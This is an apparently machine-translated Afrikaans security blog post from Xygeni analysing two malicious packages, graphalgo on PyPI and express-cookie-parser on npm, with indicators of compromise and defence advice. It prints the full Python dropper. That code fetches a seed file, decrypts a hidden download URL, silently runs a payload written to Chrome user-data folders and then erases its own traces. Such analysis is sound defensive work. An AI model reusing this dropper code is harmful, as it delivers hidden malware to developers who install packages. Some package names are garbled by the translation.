Sagteware-voorsieningskettingaanvalle 2025 - kwaadwillige pakkette - kwaadwillige python-pakkette - kwaadwillige npm-pakkette

'n Nader kyk na sagteware-voorsieningskettingaanvalle 2025: PyPI- en npm-veldtogte vergelyk

Xygeni het onlangs 'n kommerwekkende patroon in die landskap van sagteware-voorsieningskettingaanvalle in 2025 waargeneem., wat oor twee gewilde pakketbestuurders ontstaan: PyPI en NPMAs deel van ons voortgesette pogings tot bedreigingsintelligensie,Xygeni se vroeë waarskuwing oor wanware (MEW) instrument het 'n duidelike maar metodologies soortgelyke geval van kwaadwillige pakket geïdentifiseer wat voorheen na 'n ander register opgelaai is. Hierdie geval beklemtoon hoe bedreigingsakteurs ontwikkel en aanvalstegnieke oor ekosisteme hergebruik, veral deur kwaadwillige Python-pakkette en kwaadwillige npm-pakkette, wat die risiko verhoog dat kwaadwillige pakkette oopbron-voorsieningskettings infiltreer.

Xygeni se MEW: Die Ooreenkomste Opspoor

Xygeni se MEW-instrument is gebou om kwaadwillige pakkette op te spoor en te merk, veral dié wat gekoppel is aan sagteware-voorsieningskettingaanvalle in 2025, sodra hulle in oopbronregisters gepubliseer word. Dit werk deur nuwe pakkette vir verdagte gedrag te analiseer.

In hierdie geval het dit twee geïdentifiseer, kwaadwillige Python-pakkette (graphalgo op PyPI) en kwaadwillige npm-pakkette (express-cookie-parser op npm).

Kwaadwillige Python- en npm-pakkette in sagteware-voorsieningskettingaanvalle (2025)

Kom ons ondersoek die gedeelde eienskappe wat ons waarskuwings veroorsaak het:

Tikfout

Hulle het albei probeer om gewilde bestaande pakkette na te boots.

  • grafalgo (PyPI): "Python-pakket vir die skep en manipulering van grafieke en netwerke."Opgelaai deur 'n gebruiker genaamd “larrytech” Op 13 Junie 2025 het hierdie pakket homself aangebied as 'n PyPi-alternatief vir die oorspronklike nie-kwaadwillige graphalgo-projek, wat later herdoop is na graphdict.
  • ekspres-koekie-ontleder (npm)Hierdie pakket het die bekende koekie-ontlederpakket nageboots, selfs weerspieël. README.md. Sulke nabootsing is 'n klassieke taktiek om bestaande vertroue te benut.

Verduistering as 'n eerste verdedigingslinie

Beide pakkette het hul kwaadwillige kode binne die oorspronklike lêers verdoesel. grafiese, die verduisterde kode is binne gevind /utils/load_libraries.py. In die geval van ekspres-koekie-ontleder, cookie-loader.min.js het die verduisterde vrag bevat.

Hierdie aanvanklike laag van verduistering word tipies gebruik om informele inspeksie en statiese analise te belemmer. Die verduistering was redelik eenvoudig: herhaalde ZLib-kompressie plus Base64-kodering. Hierdie tipe verduistering dui duidelik aan dat die sagteware probeer om sy gedrag te verberg. Saam met ander bewyse het dit Xygeni MEW toegelaat om die pakkette as potensiële wanware te klassifiseer. Tydens die bevestigingsfase het ons beoordelaars onmiddellik 'n de-verduisteringskrip voorberei wat die ooglopend kwaadwillige dropper-stadium onthul het.

Meerstadium-vraglewering en 'n gedeelde oorsprongpunt

Beide pakkette het as aanvanklike “sparre", wat die weg baan vir die werklike vrag. Hulle het 'n gemeenskaplike eksterne "saad"lêer URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Hierdie identiese eksterne saadlêer is 'n sterk aanduiding van 'n gedeelde bedreigingsakteur. Interessant genoeg, die inhoud van hierdie saadlêer blyk eenvoudige omgewingveranderlikes te wees (bv. JWT_SECRET, PORT), wat moontlik misleidend is oor die inspeksie daarvan ten opsigte van die werklike funksie.

Dinamiese C2-resolusie met 'n DGA

'n Gesofistikeerde taktiek wat in hierdie kwaadwillige pakkette waargeneem word, is die gebruik van 'n Domeingenereringsalgoritme (DGA) om die Bevel-en-Beheer (C2) bediener dinamies op te los. Hierdie tegniek, wat dikwels in gevorderde sagteware-voorsieningskettingaanvalle in 2025 gesien word, maak staat op 'n SHA256-hash afgelei van die inhoud van die saadlêer, gekombineer met ander hardgekodeerde waardes. Deur dit te doen, verander die C2-infrastruktuur gereeld, wat tradisionele swartlys baie minder effektief maak. In hierdie geval het die npm-variant 'n vaste waarde van ... gebruik. 496AAC7E as deel van sy DGA-logika.

Vestiging van volharding

Beide aanvallers het gepoog om 'n blywende teenwoordigheid op geaffekteerde stelsels te vestig. Hul strategie het behels om 'n lêer te laat val, startup.py (vir PyPi) of startup.js (vir npm), in algemene Google Chrome-gebruikersdatagidse oor verskeie bedryfstelsels (Windows, Linux, macOS).

Opruiming na uitvoering

Om spore te verminder, het beide kwaadwillige skripte skoonmaakoperasies uitgevoer. Dit het die verwydering van hul aanvanklike dropper-lêers ingesluit (load_libraries.py, cookie-loader.min.js) en die wysiging van wettige pakketlêers (__init__.py, index.js) om die verwysings na die nou-geskrapte komponente te verwyder.

Aanwysers van kompromie in kwaadwillige Python- en npm-pakkette

  • PyPI-pakket: graphalgo (gepubliseer deur larrytech, 13 Junie 2025)
  • npm-pakket: express-cookie-parser (spesifiek weergawe 1.4.12)
  • Toegang tot Gedeelde Saad-URL

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Aanhoudende lêername: startup.py (Python) startup.js (JavaScript)
  • Algemene Aanhoudende Pad (OS-afhanklik)Binne Google Chrome-gebruikersdatagidse (bv. AppData\Local\Google\Chrome\UserData\Scripts\ op Windows, ~/.config/google-chrome/Scripts/ op Linux, ens.).

Hoe om te verdedig teen kwaadwillige pakkette in sagteware-voorsieningskettingaanvalle 2025

'n Aanbevole Benadering vir Ontwikkelaars

Hierdie voorval dien as 'n waardevolle gevallestudie in die ontwikkelende bedreigingslandskap van sagteware-voorsieningskettingaanvalle in 2025. Dit beklemtoon hoe kwaadwillige Python-pakkette en kwaadwillige npm-pakkette in betroubare ekosisteme kan insluip en dikwels opsporing kan ontduik totdat dit te laat is. Daarom is vroeë opsporing, slim gereedskap en proaktiewe stelselhigiëne nou noodsaaklike dele van enige veilige DevOps-werkvloei. Ontwikkelaars word aangemoedig om die volgende te oorweeg:

Afhanklikheidsoorsig

As jou projekte ingesluit het grafiese or ekspres-koekie-ontleder, sal dit verstandig wees om met hul verwydering voort te gaan.

  • Vir PyPI: pip uninstall graphalgo
  • Vir npm: npm uninstall express-cookie-parser

Stelselhigiëne

Oorweeg dit om 'n omvattende stelselskandering uit te voer. Dit is ook raadsaam om die algemene Chrome-gebruikersdatagidspaaie handmatig na te gaan vir enige onverwagte startup.py or startup.js lêers.

Proaktiewe veiligheidsmaatreëls

  • Assesseer Nuwe AfhanklikhedeVestig 'n roetine om nuwe pakkette deeglik te evalueer voor integrasie, met die fokus op dié van onbekende uitgewers.
  • Integreer SekuriteitsinstrumenteGereedskap soos Xygeni se MEW, tesame met ander sagteware-samestellingsanalise (SCA) oplossings, kan 'n kritieke laag verdediging bied deur verdagte gedrag en kwesbaarhede te identifiseer.
  • Minste voorregDie bedryf van ontwikkelingsomgewings met die beginsel van minste voorregte kan help om die potensiële impak van 'n kompromie te beperk.
  • NetwerkbewustheidMonitering van uitgaande netwerkverkeer vir ongewone verbindings kan soms DGA-gegenereerde C2-kommunikasie openbaar.

Sleutelkomponente van load_libraries.py (van grafalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Hanteer die ophaal van lêers vanaf gespesifiseerde URL'e.
  • run_process()Voer eksterne Python-skripte op 'n afgesonderde manier uit, en onderdruk uitvoer om diskreet te bly.
  • get_output_file_path()Bepaal die ideale stelselligging vir die aanhoudende startup.py-lêer.
  • remove_self()Orkestreer die opruiming na uitvoering van die aanvanklike kwaadwillige lêers en pakketwysigings.
  • simple_shift_encrypt() / simple_shift_decrypt()Pasgemaakte kriptografiese funksies vir die verberging van kommunikasiekanale, noodsaaklik vir die DGA-implementering.
  • load_libraries()Die sentrale funksie wat die hele meerfasige proses koördineer, van die aanvanklike aflaai tot die finale uitvoering en opruiming van die vrag.

Nadraai

Soos met ander potensieel kwaadwillige pakkette wat deur MEW geïdentifiseer is, het die afhanklikheidsfirewall gebruikers wat hierdie kwaadwillige pakkette in hul afhanklikhede sou insluit, onmiddellik beskerm. Na bevestiging het ons die kennisgewingprosedures vir beide registers gevolg, wat na hersiening beide pakkette verwyder het.

sca-tools-sagteware-samestelling-analise-gereedskap
Prioritiseer, herstel en beveilig jou sagtewarerisiko's
Kry jou gratis rekening.
Geen kredietkaart benodig nie.

Beveilig u sagteware-ontwikkeling en -lewering

met Xygeni-produksuite